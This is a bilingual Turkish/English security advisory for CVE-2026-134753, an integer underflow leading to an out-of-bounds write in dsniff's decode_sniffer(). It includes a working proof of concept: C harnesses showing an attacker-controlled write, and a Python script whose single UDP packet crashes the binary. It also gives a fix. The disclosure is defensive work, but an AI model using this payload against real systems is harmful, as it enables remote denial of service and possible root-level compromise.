İçeriğe geç
VulnSVNC Advisories
dsniff — dsniff decode_sniffer() Integer Underflow Out-of-Bounds Write

CVE-2026-134753

dsniff decode_sniffer() Integer Underflow Out-of-Bounds Write

decode_sniffer() Integer Underflow leading to Out-of-Bounds Write (unauthenticated UDP port 2001 packet)

Teknik Rapor

CVE-2026-134753 — dsniff decode_sniffer() Integer Underflow → Out-of-Bounds Write

CVSS: 4.0 / Base Score 8.3 (High) CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N (bağımsız olarak çapraz kontrol edilmesi önerilir — bkz. §9 / independent cross-check recommended — see §9) CWE: CWE-191 (Integer Underflow) → CWE-787 (Out-of-bounds Write) Etkilenen ürün / Affected product: dsniff (hackerschoice/dsniff fork) — https://github.com/hackerschoice/dsniff Etkilenen dosya/fonksiyon / Affected file-function: decode_sniffer.c → decode_sniffer() Yamalı sürüm / Patched version: Henüz yok / None available at time of writing CNA: VulnCheck


BÖLÜM 1 — TÜRKÇE

1. Özet

decode_sniffer() fonksiyonunda, çıktı tamponunun kalan boyutunu hesaplayan bir ifade (olen - len - 3) negatif değere düşebiliyor. Bu değer base64_pton()'a size_t (işaretsiz) parametre olarak geçtiğinde dev bir pozitif sayıya dönüşüyor ve fonksiyonun dahili sınır kontrolünü tamamen etkisiz hale getiriyor. Sonuç, saldırgan tarafından hem uzunluğu hem içeriği tam olarak kontrol edilen, sınırsız bir out-of-bounds write'tır.

Zafiyet, kimlik doğrulama gerektirmeden, tek bir UDP paketiyle, uzaktan tetiklenebiliyor (hedef port: 2001, dsniff'in "sniffer" protokolü). Gerçek, derlenmiş dsniff binary'sine karşı canlı ağ testiyle kesin olarak doğrulanmış çökme (SIGSEGV) elde edilmiştir.

2. Etkilenen Bileşen

Proje dsniff (hackerschoice/dsniff fork)
Repo https://github.com/hackerschoice/dsniff
Dosya decode_sniffer.c
Fonksiyon decode_sniffer()
Tetikleyici port/protokol UDP 2001 ("sniffer", dsniff.services)
Yama durumu Yamalı sürüm yok

3. Teknik Kök Neden

// decode_sniffer.c — decode_sniffer()
buf[len - 3] = '\0';
strtok(&buf[32], "\r\n");
snprintf(obuf, olen, "%s [", &buf[32]);
len = strlen(obuf);
i = base64_pton(&buf[32], &obuf[len], olen - len - 3);   /* <-- SORUN */
obuf[len + i] = '\0';
strlcat(obuf, "]\n", olen);
  1. snprintf(obuf, olen, ...), kaynak dize olen'den uzun olduğunda çıktıyı keser (truncate). Bu durumda strlen(obuf), her zaman tam olarak olen - 1'de saturate olur.
  2. Bu nedenle, saldırgan en az olen bayt (gerçek binary'de 4096) bir alan gönderdiğinde:
    olen - len - 3  =  olen - (olen - 1) - 3  =  -2
    
    sonucu deterministik olarak, hiçbir hassas hesap gerekmeden elde edilir.
  3. base64_pton()'un üçüncü parametresi size_t targsize'dır. -2 değeri bu tipe örtük olarak dönüştüğünde 0xFFFFFFFFFFFFFFFE (64-bit sistemde SIZE_MAX'e yakın) olur.
  4. Fonksiyonun tek sınır kontrolü if (tarindex >= targsize) return (-1); şeklindedir; targsize bu denli büyükken bu kontrol asla tetiklenmez.
  5. Fonksiyon, saldırganın gönderdiği Base64 verisini çözmeye devam eder ve obuf'un sonundan itibaren sınırsız şekilde yazar.

3.1 Neden varsayılan ayarlarla tetiklenir

decode_sniffer, yalnızca trigger_udp() (trigger.c) üzerinden çağrılır. Bu fonksiyon, UDP datagramının tamamını decoder'a hiçbir Opt_snaplen (varsayılan: 2048) kısıtlaması uygulamadan iletir — Opt_snaplen kontrolü yalnızca TCP akış yeniden birleştirme kodunda (trigger_tcp_half()) bulunur. Tek bir IPv4 UDP datagramı ~65507 bayta kadar veri taşıyabilir; bu, taşmayı tetiklemek için gereken ~4095 baytın çok üzerindedir. Saldırının çalışması için hiçbir özel/varsayılan-dışı yapılandırma bayrağı gerekmez.

4. Saldırı Yolu (Attack Path)

Saldırgan UDP paketi, hedef port 2001
        │
        ▼
trigger_udp()                [trigger.c]
        │  port 2001 → decoder "sniffer" (decode_sniffer)
        ▼
dc_call(t->decode, buf, len, obuf, sizeof(obuf))
        │  obuf == static char obuf[4096];  (global, trigger.c)
        ▼
decode_sniffer(buf, len, obuf, olen=4096)
        │
        ▼
base64_pton(&buf[32], &obuf[len], olen-len-3)   <- sınırsız yazma

5. Kanıt (Proof of Concept) — Doğru Sırayla İşlem Basamakları

Tüm testler, araştırmacının kendi kontrolündeki izole bir ortamda (kendi iş istasyonu, yalnızca loopback arayüzü) gerçekleştirilmiştir. Üçüncü taraf hiçbir sisteme veya ağa dokunulmamıştır.

Adım 0 — Ortam kurulumu

sudo apt update
sudo apt install -y build-essential git libnids-dev libpcap-dev \
    libnet1-dev libssl-dev libtirpc-dev libnsl-dev \
    pkg-config autoconf automake libtool

Adım 1 — Kaynağı klonlayın

git clone https://github.com/hackerschoice/dsniff.git
cd dsniff

Adım 2 — configure script'ini yeniden üretin

Depoya commit edilmiş configure, pkg-config olmadan üretilmiş; PKG_CHECK_MODULES makrosu gerçek shell koduna dönüşmemiş ve syntax hatası veriyor. Bu, zafiyetle ilgisiz bir build-sistemi kusurudur.

autoreconf -fi

Adım 3 — Derleyin (statik link OLMADAN)

--enable-static, sistemde kurulu libibverbs'in statik arşivinin libnl bağımlılıklarını çözememesi nedeniyle link hatası verir — bu da zafiyetle ilgisiz, ortam kaynaklı bir sorundur. Dinamik link yeterlidir.

./configure
make dsniff
file dsniff   # ELF 64-bit LSB executable, dynamically linked

Adım 4 — İzole statik analiz: zafiyetin bağımsız doğrulanması (ASan)

Gerçek binary'i hiç çalıştırmadan, sadece decode_sniffer()'ı izole ederek bug'ı tool-seviyesinde kanıtlayın:

mkdir ../harness && cd ../harness
for f in decode.h decode_sniffer.c base64.c base64.h common.h crc32.c crc32.h options.h; do
  cp ../dsniff/$f .
done
cp ../dsniff/config.h .

cat > strl.c << 'EOF'
#include <string.h>
#include <sys/types.h>
size_t strlcpy(char *dst, const char *src, size_t siz) {
    char *d = dst; const char *s = src; size_t n = siz;
    if (n != 0) { while (--n != 0) { if ((*d++ = *s++) == '\0') break; } }
    if (n == 0) { if (siz != 0) *d = '\0'; while (*s++); }
    return (s - src - 1);
}
size_t strlcat(char *dst, const char *src, size_t siz) {
    char *d = dst; const char *s = src; size_t n = siz; size_t dlen;
    while (n-- != 0 && *d != '\0') d++;
    dlen = d - dst; n = siz - dlen;
    if (n == 0) return (dlen + strlen(s));
    while (*s != '\0') { if (n != 1) { *d++ = *s; n--; } s++; }
    *d = '\0';
    return (dlen + (s - src));
}
EOF

cat > fuzz.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
extern int decode_sniffer(u_char *, int, u_char *, int);
int main(int argc, char **argv) {
    u_char inbuf[8192];
    int len = fread(inbuf, 1, sizeof(inbuf), stdin);
    u_char *buf = malloc(len);
    memcpy(buf, inbuf, len);
    int olen = atoi(argv[1]);
    u_char *obuf = malloc(olen);
    memset(obuf, 0xAA, olen);
    int r = decode_sniffer(buf, len, obuf, olen);
    fprintf(stderr, "ret=%d\n", r);
    return 0;
}
EOF

gcc -fsanitize=address,undefined -g -O0 -I. -o fuzz \
    fuzz.c decode_sniffer.c base64.c crc32.c strl.c

python3 -c "
import sys
buf = bytearray(33)
buf[0] = 5
buf[6] = 4
buf[7] = 1          # opcode = 0x0104 = 260
buf[32] = ord('A')  # buf[32] != 0 -> base64 dali
buf += b'A' * 100   # gecerli Base64 karakterleri
sys.stdout.buffer.write(bytes(buf))
" > packet.bin

ASAN_OPTIONS=detect_leaks=0 ./fuzz 20 < packet.bin

Gözlenen sonuç:

==xxxxx==ERROR: AddressSanitizer: heap-buffer-overflow ...
WRITE of size 1 at ... thread T0
    #0 ... in base64_pton base64.c:164
    #1 ... in decode_sniffer decode_sniffer.c

Adım 5 — "Write-what-where" kanıtı (gerçekçi bellek düzeni, ASan'sız)

// realistic.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
extern int decode_sniffer(u_char *, int, u_char *, int);

static struct {
    char          obuf[4096];
    unsigned char canary[16];
    unsigned char guard[16384];
} g;

int main(void) {
    memset(g.canary, 0xCC, sizeof(g.canary));
    memset(g.guard,  0xCC, sizeof(g.guard));

    const char *alpha =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    unsigned char desired[4000];
    desired[0] = 'z';
    memcpy(&desired[1], "RCEDEMO!", 8);
    for (int i = 9; i < (int)sizeof(desired); i++) desired[i] = 'Z';

    char b64[8000]; int bi = 0;
    for (int i = 0; i + 2 < (int)sizeof(desired); i += 3) {
        unsigned v = (desired[i] << 16) | (desired[i+1] << 8) | desired[i+2];
        b64[bi++] = alpha[(v >> 18) & 0x3F];
        b64[bi++] = alpha[(v >> 12) & 0x3F];
        b64[bi++] = alpha[(v >> 6) & 0x3F];
        b64[bi++] = alpha[v & 0x3F];
    }
    b64[bi] = '\0';

    int total_len = 32 + bi + 8;
    unsigned char *pkt = malloc(total_len);
    memset(pkt, 0, total_len);
    pkt[0] = 5; pkt[6] = 4; pkt[7] = 1;
    memcpy(&pkt[32], b64, bi);
    pkt[32] = 'A';

    decode_sniffer(pkt, total_len, g.obuf, sizeof(g.obuf));

    printf("canary sonrasi: ");
    for (int i = 0; i < 16; i++) printf("%02x", g.canary[i]);
    printf("\n");
    return 0;
}
gcc -g -O0 -fno-stack-protector -I. -o realistic \
    realistic.c decode_sniffer.c base64.c crc32.c strl.c
./realistic

Gözlenen sonuç:

canary sonrasi: 52434544454d4f215a5a5a5a5a5a5a5a

52434544454d4f21 → ASCII: "RCEDEMO!" — bu değer yalnızca saldırgan paketinde tanımlıydı, kodun hiçbir yerinde değil. Fonksiyon çökmeden döndü (sessiz bozulma).

Adım 6 — Gerçek binary'nin bellek düzenini inceleyin

cd ../dsniff
nm dsniff | grep -i obuf
nm --numeric-sort dsniff | grep -E ' [bBdD] ' | grep -A3 -B3 " obuf$"

Gözlenen sonuç:

00000000000310c0 b obuf
00000000000320c0 b rpc_cnt     (= obuf + 4096 — boşluk yok)
00000000000320c4 b tcp_cnt
00000000000320c8 b udp_cnt

Bu sayaçlar yalnızca istatistik değildir — trigger.c bunları her gelen pakette bsearch()/qsort()'un nmemb parametresi olarak, fonksiyon işaretçisi içeren struct trigger dizileri (udp_triggers[512], tcp_triggers[512], rpc_triggers[32]) üzerinde kullanır:

struct trigger { int num; struct decode *decode; };

Adım 7 — Canlı ağ testi: gerçek binary'ye karşı doğrulanmış çökme

Terminal 1 (kurban süreç, sadece loopback):

sudo ./dsniff -i lo -v -d

Terminal 2 (saldırgan):

import socket

alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
desired = bytearray()
desired += b'z'
desired += b'ABCDEFGHIJKLMNOP'
desired += b'Z' * 6000

b64 = bytearray()
for i in range(0, len(desired) - 2, 3):
    v = (desired[i] << 16) | (desired[i+1] << 8) | desired[i+2]
    b64.append(ord(alpha[(v >> 18) & 0x3F]))
    b64.append(ord(alpha[(v >> 12) & 0x3F]))
    b64.append(ord(alpha[(v >> 6) & 0x3F]))
    b64.append(ord(alpha[v & 0x3F]))

pkt = bytearray(33)
pkt[0] = 5
pkt[6] = 4
pkt[7] = 1
pkt[32] = ord('A')
pkt += b64

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bytes(pkt), ("127.0.0.1", 2001))
print(f"gonderildi: {len(pkt)} bayt")

Gözlenen sonuç (Terminal 1):

Segmentation fault

Tek bir UDP paketiyle, kimlik doğrulama gerekmeden, gerçek, derlenmiş binary çöktü — reprodüksiyon %100 tutarlı.

6. Etki Değerlendirmesi

  • Kesinleşmiş etki: Uzaktan, kimlik doğrulamasız, tek paketlik çökme (DoS) — gerçek binary üzerinde doğrulandı.
  • Değerlendirilmiş potansiyel: Fonksiyon işaretçisi içeren dispatch tablolarının (udp_triggers vb.) obuf'a bellek yakınlığı tam olarak doğrulanmadı; doğrulanırsa kontrol akışı ele geçirme (RCE) mümkün olabilir. Bu rapor, çalışan bir RCE zinciri iddia etmemektedir — yalnızca önkoşulların mevcut olduğunu ve DoS'un kesin olarak kanıtlandığını belgeler.
  • dsniff tipik olarak root yetkisiyle çalıştırıldığından, RCE doğrulanırsa elde edilecek kod çalıştırma doğrudan root düzeyinde olacaktır.

7. Önerilen Düzeltme

int remaining = olen - len - 3;
if (remaining < 0)
    remaining = 0;
i = base64_pton(&buf[32], &obuf[len], (size_t)remaining);
if (i < 0)
    i = 0;
obuf[len + i] = '\0';

Benzer "artımlı yazma" desenleri (decode_oracle.c, decode_tds.c) projede başka yerlerde de tekrarlanmıştır; sistematik denetim önerilir.

8. Ek Gözlem (ikincil bulgu)

Canlı test sırasında, decode edilen ham verinin record.c tarafından doğrudan terminale yazıldığı da gözlemlenmiştir — bu, ayrı, düşük-orta öncelikli bir terminal kaçış dizisi enjeksiyonu riski oluşturur (bu rapor kapsamı dışında, ayrı bir bulgu olarak not edilmiştir).

9. Kapsam ve Dürüstlük Notları

  • Kesin olarak kanıtlanan: Out-of-bounds write var (ASan); yazım saldırgan tarafından tam kontrol edilebilir (gerçekçi düzen PoC'si); gerçek binary, tek paketle uzaktan güvenilir şekilde çöküyor (canlı ağ PoC'si).
  • Kanıtlanmayan: Çalışan, uçtan uca bir RCE exploit'i. obuf ile udp_triggers/tcp_triggers dispatch tabloları arasındaki tam bellek bitişikliği doğrulanmadı; sahte bir struct trigger girdisi enjekte edip kontrol akışını ele geçirme girişiminde bulunulmadı — bu kasıtlıdır, amaç riski sorumlu şekilde göstermek, silahlandırılmış bir exploit üretmek değildir.
  • CVSS v4.0 puanı (8.3) CNA (VulnCheck) tarafından sağlanmıştır; bu raporun yazarı resmi FIRST CVSS v4.0 hesaplayıcısıyla bağımsız doğrulama yapmamıştır.
  • Tüm testler yalnızca araştırmacının kendi, izole ortamında (loopback arayüzü) gerçekleştirilmiştir; üçüncü taraf sistem/ağ kullanılmamıştır.

PART 2 — ENGLISH

1. Summary

In decode_sniffer(), an expression computing the remaining output buffer size (olen - len - 3) can evaluate to a negative value. When passed to base64_pton() as a size_t (unsigned) parameter, it wraps around into a huge positive number, completely defeating the function's internal bounds check. The result is an unbounded out-of-bounds write in which both the length and the content are fully attacker-controlled.

The vulnerability is remotely triggerable with a single UDP packet, without authentication (target port: 2001, dsniff's "sniffer" protocol). A confirmed crash (SIGSEGV) was obtained via a live network test against the actual, compiled dsniff binary.

2. Affected Component

Project dsniff (hackerschoice/dsniff fork)
Repository https://github.com/hackerschoice/dsniff
File decode_sniffer.c
Function decode_sniffer()
Trigger port/protocol UDP 2001 ("sniffer", dsniff.services)
Patch status No patched version available

3. Technical Root Cause

// decode_sniffer.c — decode_sniffer()
buf[len - 3] = '\0';
strtok(&buf[32], "\r\n");
snprintf(obuf, olen, "%s [", &buf[32]);
len = strlen(obuf);
i = base64_pton(&buf[32], &obuf[len], olen - len - 3);   /* <-- ROOT CAUSE */
obuf[len + i] = '\0';
strlcat(obuf, "]\n", olen);
  1. snprintf(obuf, olen, ...) truncates its output when the source string exceeds olen. In that case, strlen(obuf) always saturates at exactly olen - 1.
  2. Therefore, when the attacker sends a field of at least olen bytes (4096 in the real binary):
    olen - len - 3  =  olen - (olen - 1) - 3  =  -2
    
    is obtained deterministically, with no precise length calculation required.
  3. base64_pton()'s third parameter is declared size_t targsize. The implicit conversion of -2 to this type yields 0xFFFFFFFFFFFFFFFE (near SIZE_MAX on 64-bit).
  4. The function's only bounds check, if (tarindex >= targsize) return (-1);, never fires with targsize this large.
  5. The function continues decoding attacker-supplied Base64 data, writing without bound past the end of obuf.

3.1 Why this is exploitable under default settings

decode_sniffer is invoked exclusively via trigger_udp() (trigger.c), which forwards the entire UDP datagram to the decoder with no Opt_snaplen (default: 2048) restriction applied — that check exists only in the TCP stream-reassembly path (trigger_tcp_half()). A single IPv4 UDP datagram can carry up to ~65507 bytes, far exceeding the ~4095 bytes needed to trigger the underflow. No non-default configuration is required to exploit this.

4. Attack Path

Attacker UDP packet, destination port 2001
        │
        ▼
trigger_udp()                [trigger.c]
        │  port 2001 → decoder "sniffer" (decode_sniffer)
        ▼
dc_call(t->decode, buf, len, obuf, sizeof(obuf))
        │  obuf == static char obuf[4096];  (global, trigger.c)
        ▼
decode_sniffer(buf, len, obuf, olen=4096)
        │
        ▼
base64_pton(&buf[32], &obuf[len], olen-len-3)   <- unbounded write

5. Proof of Concept — Steps in Correct Order

All testing was performed in an environment fully controlled by the researcher (own workstation, loopback interface only). No third-party system or network was involved at any point.

Step 0 — Environment setup

sudo apt update
sudo apt install -y build-essential git libnids-dev libpcap-dev \
    libnet1-dev libssl-dev libtirpc-dev libnsl-dev \
    pkg-config autoconf automake libtool

Step 1 — Clone the source

git clone https://github.com/hackerschoice/dsniff.git
cd dsniff

Step 2 — Regenerate the configure script

The committed configure script was generated without pkg-config present; the PKG_CHECK_MODULES macro is left unexpanded in the script and causes a shell syntax error. This is an unrelated build-system defect, not part of this vulnerability.

autoreconf -fi

Step 3 — Build (WITHOUT static linking)

--enable-static fails to link due to the system's libibverbs static archive having unresolved libnl dependencies — an unrelated, environment-specific issue. Dynamic linking is sufficient.

./configure
make dsniff
file dsniff   # ELF 64-bit LSB executable, dynamically linked

Step 4 — Isolated static confirmation (ASan)

Confirm the bug at the tool-diagnostic level without running the real binary at all, by isolating decode_sniffer():

mkdir ../harness && cd ../harness
for f in decode.h decode_sniffer.c base64.c base64.h common.h crc32.c crc32.h options.h; do
  cp ../dsniff/$f .
done
cp ../dsniff/config.h .

cat > strl.c << 'EOF'
#include <string.h>
#include <sys/types.h>
size_t strlcpy(char *dst, const char *src, size_t siz) {
    char *d = dst; const char *s = src; size_t n = siz;
    if (n != 0) { while (--n != 0) { if ((*d++ = *s++) == '\0') break; } }
    if (n == 0) { if (siz != 0) *d = '\0'; while (*s++); }
    return (s - src - 1);
}
size_t strlcat(char *dst, const char *src, size_t siz) {
    char *d = dst; const char *s = src; size_t n = siz; size_t dlen;
    while (n-- != 0 && *d != '\0') d++;
    dlen = d - dst; n = siz - dlen;
    if (n == 0) return (dlen + strlen(s));
    while (*s != '\0') { if (n != 1) { *d++ = *s; n--; } s++; }
    *d = '\0';
    return (dlen + (s - src));
}
EOF

cat > fuzz.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
extern int decode_sniffer(u_char *, int, u_char *, int);
int main(int argc, char **argv) {
    u_char inbuf[8192];
    int len = fread(inbuf, 1, sizeof(inbuf), stdin);
    u_char *buf = malloc(len);
    memcpy(buf, inbuf, len);
    int olen = atoi(argv[1]);
    u_char *obuf = malloc(olen);
    memset(obuf, 0xAA, olen);
    int r = decode_sniffer(buf, len, obuf, olen);
    fprintf(stderr, "ret=%d\n", r);
    return 0;
}
EOF

gcc -fsanitize=address,undefined -g -O0 -I. -o fuzz \
    fuzz.c decode_sniffer.c base64.c crc32.c strl.c

python3 -c "
import sys
buf = bytearray(33)
buf[0] = 5
buf[6] = 4
buf[7] = 1          # opcode = 0x0104 = 260
buf[32] = ord('A')  # buf[32] != 0 -> Base64 branch
buf += b'A' * 100   # valid Base64 alphabet characters
sys.stdout.buffer.write(bytes(buf))
" > packet.bin

ASAN_OPTIONS=detect_leaks=0 ./fuzz 20 < packet.bin

Observed result:

==xxxxx==ERROR: AddressSanitizer: heap-buffer-overflow ...
WRITE of size 1 at ... thread T0
    #0 ... in base64_pton base64.c:164
    #1 ... in decode_sniffer decode_sniffer.c

Step 5 — "Write-what-where" confirmation (realistic layout, no ASan)

// realistic.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
extern int decode_sniffer(u_char *, int, u_char *, int);

static struct {
    char          obuf[4096];
    unsigned char canary[16];
    unsigned char guard[16384];
} g;

int main(void) {
    memset(g.canary, 0xCC, sizeof(g.canary));
    memset(g.guard,  0xCC, sizeof(g.guard));

    const char *alpha =
        "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    unsigned char desired[4000];
    desired[0] = 'z';
    memcpy(&desired[1], "RCEDEMO!", 8);
    for (int i = 9; i < (int)sizeof(desired); i++) desired[i] = 'Z';

    char b64[8000]; int bi = 0;
    for (int i = 0; i + 2 < (int)sizeof(desired); i += 3) {
        unsigned v = (desired[i] << 16) | (desired[i+1] << 8) | desired[i+2];
        b64[bi++] = alpha[(v >> 18) & 0x3F];
        b64[bi++] = alpha[(v >> 12) & 0x3F];
        b64[bi++] = alpha[(v >> 6) & 0x3F];
        b64[bi++] = alpha[v & 0x3F];
    }
    b64[bi] = '\0';

    int total_len = 32 + bi + 8;
    unsigned char *pkt = malloc(total_len);
    memset(pkt, 0, total_len);
    pkt[0] = 5; pkt[6] = 4; pkt[7] = 1;
    memcpy(&pkt[32], b64, bi);
    pkt[32] = 'A';

    decode_sniffer(pkt, total_len, g.obuf, sizeof(g.obuf));

    printf("canary after: ");
    for (int i = 0; i < 16; i++) printf("%02x", g.canary[i]);
    printf("\n");
    return 0;
}
gcc -g -O0 -fno-stack-protector -I. -o realistic \
    realistic.c decode_sniffer.c base64.c crc32.c strl.c
./realistic

Observed result:

canary after: 52434544454d4f215a5a5a5a5a5a5a5a

52434544454d4f21 → ASCII: "RCEDEMO!" — a value defined only in the attacker's packet, nowhere in the source code. The function returned normally (silent corruption, no crash).

Step 6 — Inspect the real binary's memory layout

cd ../dsniff
nm dsniff | grep -i obuf
nm --numeric-sort dsniff | grep -E ' [bBdD] ' | grep -A3 -B3 " obuf$"

Observed result:

00000000000310c0 b obuf
00000000000320c0 b rpc_cnt     (= obuf + 4096, no gap)
00000000000320c4 b tcp_cnt
00000000000320c8 b udp_cnt

These counters are not mere statistics — trigger.c uses them as the nmemb argument to bsearch()/qsort() on every incoming packet, over arrays of struct trigger which embed decoder function pointers:

struct trigger { int num; struct decode *decode; };

Step 7 — Live network test: confirmed crash against the real binary

Terminal 1 (victim process, loopback only):

sudo ./dsniff -i lo -v -d

Terminal 2 (attacker):

import socket

alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
desired = bytearray()
desired += b'z'
desired += b'ABCDEFGHIJKLMNOP'
desired += b'Z' * 6000

b64 = bytearray()
for i in range(0, len(desired) - 2, 3):
    v = (desired[i] << 16) | (desired[i+1] << 8) | desired[i+2]
    b64.append(ord(alpha[(v >> 18) & 0x3F]))
    b64.append(ord(alpha[(v >> 12) & 0x3F]))
    b64.append(ord(alpha[(v >> 6) & 0x3F]))
    b64.append(ord(alpha[v & 0x3F]))

pkt = bytearray(33)
pkt[0] = 5
pkt[6] = 4
pkt[7] = 1
pkt[32] = ord('A')
pkt += b64

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(bytes(pkt), ("127.0.0.1", 2001))
print(f"sent: {len(pkt)} bytes")

Observed result (Terminal 1):

Segmentation fault

A single UDP packet, no authentication required, crashed the real, compiled binary — fully reproducible.

6. Impact Assessment

  • Confirmed impact: Unauthenticated, remote, single-packet crash (DoS) — confirmed against the real binary.
  • Assessed potential: Memory adjacency between obuf and function-pointer-bearing dispatch tables (udp_triggers, etc.) was not fully confirmed; if confirmed, control-flow hijack (RCE) may be possible. This report does not claim a working RCE chain — only that the preconditions exist and that DoS is conclusively proven.
  • Since dsniff is typically run with root privileges, any confirmed RCE would execute at root level.

7. Suggested Fix

int remaining = olen - len - 3;
if (remaining < 0)
    remaining = 0;
i = base64_pton(&buf[32], &obuf[len], (size_t)remaining);
if (i < 0)
    i = 0;
obuf[len + i] = '\0';

Similar "incremental write" patterns were observed elsewhere in the codebase (decode_oracle.c, decode_tds.c); a systematic audit is recommended.

8. Secondary Observation

During live testing, decoded raw data was observed being written directly to the terminal by record.c — a separate, lower-priority terminal escape-sequence injection risk, noted here but out of scope for this report.

9. Scope and Honesty Notes

  • Established with high confidence: an out-of-bounds write exists (ASan-confirmed); the write is fully attacker-controlled (realistic write-what-where PoC); the real binary reliably crashes remotely from a single packet (live network PoC).
  • Not established: a working, end-to-end RCE exploit. Exact memory adjacency between obuf and the udp_triggers/tcp_triggers dispatch tables was not verified; no attempt was made to inject a forged struct trigger entry or hijack control flow — intentionally, as the goal is responsible risk documentation, not a weaponized exploit.
  • The CVSS v4.0 score (8.3) was provided by the CNA (VulnCheck); it has not been independently re-derived using the official FIRST CVSS v4.0 calculator by the author of this report.
  • All testing was confined to the researcher's own isolated environment (loopback interface); no third-party system or network was used.

Araştırmacı: Umut SEVİNÇ (VulnSVNC)